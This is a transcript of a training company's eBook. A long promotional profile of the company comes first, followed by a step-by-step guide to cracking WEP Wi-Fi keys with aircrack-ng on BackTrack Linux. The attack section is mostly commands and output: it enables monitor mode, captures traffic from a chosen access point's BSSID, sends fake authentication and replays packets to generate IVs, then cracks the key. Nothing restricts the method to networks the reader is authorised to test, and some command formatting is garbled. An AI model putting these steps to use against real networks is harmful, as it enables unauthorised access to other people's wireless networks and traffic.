Seculabs eBook - WiFi WEP Cracking Without Dictionary
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Transcript of Seculabs eBook - WiFi WEP Cracking Without Dictionary
7/29/2019 Seculabs eBook - WiFi WEP Cracking Without Dictionary
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SECUGENIUS SECURITY SOLUTIONS
--------------------------------------------------------------------------------------
(A UNIT OF HARKSH TECHNOLOGIES PVT. LTD)
Company Profile:
Secugenius Security Solutions is a Student Entrepreneurial Company started by 2 Social Student
Entrepreneurs in 2010 with an aim to make our country Cyber Crime Free. We at SECUGENIUS
are headquartered at Ludhiana, the Manchester of Punjab. The main activities of Secugenius
Security Solutions are providing training in Information Security and various professional courses.
Secugenius Security Solutions is an organization which believes in inventing and implementing newideas to influence the technological minds of the youngsters
Looking at the number of Cyber Crimes since last many years, We at Secugenius Security
Solutions provides training on Ethical hacking & Cyber Security to students, IT Professionals, Bank
Employees, Police officials.
Secugenius conducts workshops in all parts of the country in various Colleges/institutions for the
benefit of the students & making them aware of the latest trends in technological era of the
Computer age. We believe in spreading knowledge to all the youngsters & growing minds of the
nation so that they could serve the nation with perfect skill-sets in the field of Cyber Crime
Investigation & Forensic Sciences
Secugenius provides various security solutions to its clients by securing their websites from cyber
attacks. We provide training to college students, graduates and professionals in various fields.
Education is delivered to students through two modes i.e. Regular mode and Distance mode which
are available as short term and long term courses.
In the workshops conducted by Secugenius, participants can claim to be trained by the highly
experienced & skilled corporate trainers from different parts of the nation. We believe in making
the base of students to be as strong as possible. All the modules have been designed in order to
provide students with specialized knowledge by specialized trainers.
This library was furnished, managed and funded by the Founders and Directors of Secugenius
Er. Harpreet Khattar & Er. Kshitij Adhlakha. The overall resource person for the content of
the series of this Digital Library is Er. Chetan Soni - Sr. Security Specialist, Secugenius Security
Solutions.
This Online Digital Library has been initiated as a free resource & permanent
resource on specialization basis for every student of Team Secugenius.
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Wi-Fi WEP Cracking Without Dictionary
Product ID No: SG/ODL/13002
Founder & Director: Harpreet Khattar & Kshitij Adhlakha
Resource Person: Chetan Soni
Secugenius Security Solutions
SCO-13A, Model Town Extn, Near Krishna Mandir,
Ludhiana-141002, Punjab – India
[email protected], [email protected]
www.secugenius.com , www.seculabs.in
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Requirements:-
1. Windows 2000/Xp/Seven/Vista/8/Linux Distro
2. Backtrack Linux Operating System (Live or ISO)
3. VMware Workstation (If you use an ISO File)
4. Wireless USB Adaptor (If you use VMware Workstation)
Steps:-
First Start Backtrack Linux Operating system inside VMwareWorkstation named as BT-5-R3 Version.Some Basic Commands which is very helpful when you use Backtrack.
Iwconfig
Ifconfig
pwd
ls Startx
Username – root and Password – toor (By Default in BT5)
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Start Terminal and Type this Command and it shows,root@bt:~# iwconfig
Wlan0
IEEE 802.11bgn ESSID:off/any Mode:Managed Access Point: Not Associated Tx-power=20 DbmRetry ong limit:7 RTS thr:off Fragment thr:off Encryption Key:off Power Management:off
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Now Type this Commandroot@bt:~# airmon-ng
Interface Chipset Driver wlan0 Atheros AR9271 ath9k – [phy0]
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Now Getting Start this Interface by typing this command in yourterminalroot@bt:~# airmon-ng start (interface) root@bt:~# airmon-ng start wlan0
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Now Further Start your Monitor mode by typing this commandroot@bt:~# airodump-ng (monitor mode) root@bt:~# airodump-ng mon0
When you type this command it shows many things:-a) BSSID(Base Service Set Identifier)
b) PWR
c) Beacons
d) #Data(Data Rate)
e) #/s
f) CH(Channel ID)
g) ENC(Encryption)
h) Cipher(Security)
i) Auth(Authentication)
j) ESSID(WiFi Name)
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Now Press ctrl+c (To stop the process) and type this command,
root@bt:~# airodump-ng -c (channel CH) -w ( your file name)--bssid (bssid)( mode)
root@bt:~# airodump-ng –
c 11 –
w cracking –
bssid80:1F:02:02:6C:C4 mon0
Now don’t stop this process until the #data reaches above 50000. So
we need to wait until the #data rise until 50000, the more the data,the less time to crack
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Now The Last two lines shows that no. of users connected to thisNetwork, the more they browse/use, the more data will generateNow Type this Command:-root@bt:~# aireplay-ng -1 0 -a (bssid) (monitor mode)
root@bt:~# aireplay-ng -1 0 –
a 80:1F:02:02:6C:C4 mon0
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It will send the authentication request packets to routerNow Further Type this Command
root@bt:~ # aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b (bssid)
(monitor mode)
root@bt:~# aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b80:1F:02:02:6C:C4 mon0
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Now it displaysUse this packet? YES
Now, let see the #data. .it will increase rapidly. .so wait the #data untilit reach 50 000 ivs. .When it reaches above 50000 ivs then it looks like this,
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And the last step , type this command in your terminalroot@bt:~# aircrack-ng 2 filename-01.cap root@bt:~# aircrack-ng 2 cracking-01.cap